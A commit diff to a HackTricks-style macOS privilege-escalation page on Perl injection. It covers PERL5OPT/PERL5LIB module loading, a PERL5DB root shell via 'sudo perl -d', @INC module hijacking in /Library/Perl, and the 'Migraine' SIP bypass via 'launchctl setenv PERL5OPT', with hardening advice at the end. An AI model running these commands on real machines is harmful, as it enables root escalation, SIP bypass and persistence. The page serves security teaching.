Skip to content

Commit 36ee055

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update: Enhanced src/macos-hardening/macos-security...
1 parent d753b3e commit 36ee055

1 file changed

Lines changed: 55 additions & 13 deletions

File tree

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

Lines changed: 55 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44

55
## Via `PERL5OPT` & `PERL5LIB` env variable
66

7-
Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
7+
Using the env variable **`PERL5OPT`** it's possible to make **Perl** execute arbitrary commands when the interpreter starts (even **before** the first line of the target script is parsed).
88
For example, create this script:
99

1010
```perl:test.pl
@@ -28,21 +28,35 @@ system('whoami');
2828
1; # Modules must return a true value
2929
```
3030

31-
And then use the env variables:
31+
And then use the env variables so the module is located and loaded automatically:
3232

3333
```bash
34-
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
34+
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
3535
```
3636

37-
## Via dependencies
37+
### Other interesting environment variables
3838

39-
It's possible to list the dependencies folder order of Perl running:
39+
* **`PERL5DB`** – when the interpreter is started with the **`-d`** (debugger) flag, the content of `PERL5DB` is executed as Perl code *inside* the debugger context.
40+
If you can influence both the environment **and** the command-line flags of a privileged Perl process you can do something like:
41+
42+
```bash
43+
export PERL5DB='system("/bin/zsh")'
44+
sudo perl -d /usr/bin/some_admin_script.pl # will drop a shell before executing the script
45+
```
46+
47+
* **`PERL5SHELL`** – on Windows this variable controls which shell executable Perl will use when it needs to spawn a shell. It is mentioned here only for completeness, as it is not relevant on macOS.
48+
49+
Although `PERL5DB` requires the `-d` switch, it is common to find maintenance or installer scripts that are executed as *root* with this flag enabled for verbose troubleshooting, making the variable a valid escalation vector.
50+
51+
## Via dependencies (@INC abuse)
52+
53+
It is possible to list the include path that Perl will search (**`@INC`**) running:
4054

4155
```bash
4256
perl -e 'print join("\n", @INC)'
4357
```
4458

45-
Which will return something like:
59+
Typical output on macOS 13/14 looks like:
4660

4761
```bash
4862
/Library/Perl/5.30/darwin-thread-multi-2level
@@ -56,20 +70,48 @@ Which will return something like:
5670
/System/Library/Perl/Extras/5.30
5771
```
5872

59-
Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
73+
Some of the returned folders don’t even exist, however **`/Library/Perl/5.30`** does exist, is *not* protected by SIP and is *before* the SIP-protected folders. Therefore, if you can write as *root* you may drop a malicious module (e.g. `File/Basename.pm`) that will be *preferentially* loaded by any privileged script importing that module.
6074

6175
> [!WARNING]
62-
> However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
76+
> You still need **root** to write inside `/Library/Perl` and macOS will show a **TCC** prompt asking for *Full Disk Access* for the process performing the write operation.
6377
64-
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
78+
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` containing attacker-controlled code.
6579

66-
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.
80+
## SIP bypass via Migration Assistant (CVE-2023-32369 “Migraine”)
6781

68-
## References
82+
In May 2023 Microsoft disclosed **CVE-2023-32369**, nick-named **Migraine**, a post-exploitation technique that allows a *root* attacker to completely **bypass System Integrity Protection (SIP)**.
83+
The vulnerable component is **`systemmigrationd`**, a daemon entitled with **`com.apple.rootless.install.heritable`**. Any child process spawned by this daemon inherits the entitlement and therefore runs **outside** SIP restrictions.
6984

70-
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
85+
Among the children identified by the researchers is the Apple-signed interpreter:
7186

72-
{{#include ../../../banners/hacktricks-training.md}}
87+
```
88+
/usr/bin/perl /usr/libexec/migrateLocalKDC …
89+
```
7390

91+
Because Perl honors `PERL5OPT` (and Bash honors `BASH_ENV`), poisoning the daemon’s *environment* is enough to gain arbitrary execution in a SIP-less context:
7492

93+
```bash
94+
# As root
95+
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
7596

97+
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
98+
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
99+
```
100+
101+
When `migrateLocalKDC` runs, `/usr/bin/perl` starts with the malicious `PERL5OPT` and executes `/private/tmp/migraine.sh` *before SIP is re-enabled*. From that script you can, for instance, copy a payload inside **`/System/Library/LaunchDaemons`** or assign the `com.apple.rootless` extended attribute to make a file **undeletable**.
102+
103+
Apple fixed the issue in macOS **Ventura 13.4**, **Monterey 12.6.6** and **Big Sur 11.7.7**, but older or un-patched systems remain exploitable.
104+
105+
## Hardening recommendations
106+
107+
1. **Clear dangerous variables** – privileged launchdaemons or cron jobs should start with a pristine environment (`launchctl unsetenv PERL5OPT`, `env -i`, etc.).
108+
2. **Avoid running interpreters as root** unless strictly necessary. Use compiled binaries or drop privileges early.
109+
3. **Vendor scripts with `-T` (taint mode)** so that Perl ignores `PERL5OPT` and other unsafe switches when taint checking is enabled.
110+
4. **Keep macOS up to date** – “Migraine” is fully patched in current releases.
111+
112+
## References
113+
114+
- Microsoft Security Blog – “New macOS vulnerability, Migraine, could bypass System Integrity Protection” (CVE-2023-32369), May 30 2023.
115+
- Hackyboiz – “macOS SIP Bypass (PERL5OPT & BASH_ENV) research”, May 2025.
116+
117+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)